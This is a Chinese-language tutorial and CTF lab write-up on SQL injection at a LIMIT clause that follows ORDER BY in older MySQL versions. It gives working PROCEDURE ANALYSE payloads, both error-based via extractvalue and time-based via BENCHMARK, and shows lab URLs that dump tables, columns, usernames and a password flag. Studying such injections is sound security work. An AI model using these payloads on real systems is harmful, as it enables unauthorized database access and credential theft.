SQL语句类似下面这样:(此方法仅适用于5.0.0<mysql<5.6.6的版本)

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT (注入点)

  问题的关键在于,语句中有 order by 关键字,mysql 中在 order by 前面可以使用 union 关键字,所以如果注入点前面没有 order by 关键字,就可以使用 union 关键字,但是现在的情况是,注入点前面有 order by 关键字。

我们先看看 mysql 5.x 的文档中的 select 的语法:

 1 SELECT
 2     [ALL | DISTINCT | DISTINCTROW ]
 3       [HIGH_PRIORITY]
 4       [STRAIGHT_JOIN]
 5       [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
 6       [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
 7     select_expr [, select_expr ...]
 8     [FROM table_references
 9     [WHERE where_condition]
10     [GROUP BY {col_name | expr | position}
11       [ASC | DESC], ... [WITH ROLLUP]]
12     [HAVING where_condition]
13     [ORDER BY {col_name | expr | position}
14       [ASC | DESC], ...]
15     [LIMIT {[offset,] row_count | row_count OFFSET offset}]
16     [PROCEDURE procedure_name(argument_list)]
17     [INTO OUTFILE 'file_name' export_options
18       | INTO DUMPFILE 'file_name'
19       | INTO var_name [, var_name]]
20     [FOR UPDATE | LOCK IN SHARE MODE]]

 

在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的,这里的重点是 PROCEDURE 关键字.MySQL默认可用的存储过程只有 ANALYSE。

尝试用这个存储过程:

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1);
 
ERROR 1386 (HY000): Can't use ORDER clause with this procedure

ANALYSE支持两个参数,试试两个参数:

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1);
 
ERROR 1386 (HY000): Can't use ORDER clause with this procedure

在 ANALYSE 中插入 sql 语句,sleep 没有被执行,可以使用报错注入:

mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 

ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'

如果不支持报错注入的话,还可以基于时间注入,直接使用sleep不行,需要用BENCHMARK代替:

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

 

例子:(来自 网络安全实验室|网络信息安全攻防学习平台 注入关第四题:http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0&num=1

1.使用 PROCEDURE ANALYSE:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0%20PROCEDURE%20ANALYSE(1)%23&num=1

Can't use ORDER clause with this procedure
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51

2.使用报错注入爆表:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=8&num=1%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()))),1)%23

XPATH syntax error: ':article,user'
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51

得到表名:article,user

3.爆列:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x61727469636c65))),1)%23%20&num=100%20%23

XPATH syntax error: ':id,title,contents,isread'
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51

得到article表的列名:id,title,contents,isread

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x75736572))),1)%23%20&num=100%20%23

XPATH syntax error: ':id,username,password,lastloginI'
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51

同样得到user表的列名:id,username,password,lastloginI

4.爆字段:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20group_concat(username)%20from%20user))),1)%23%20&num=1

XPATH syntax error: ':user,admin,flag'
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51

通过查询user表的username列,发现其中有一个字段是flag,那么直接读取flag字段的内容就可以了:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20group_concat(password)%20from%20user%20where%20username=0x666c6167))),1)%23%20&num=1

XPATH syntax error: ':myflagishere'
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51

得到flag:myflagishere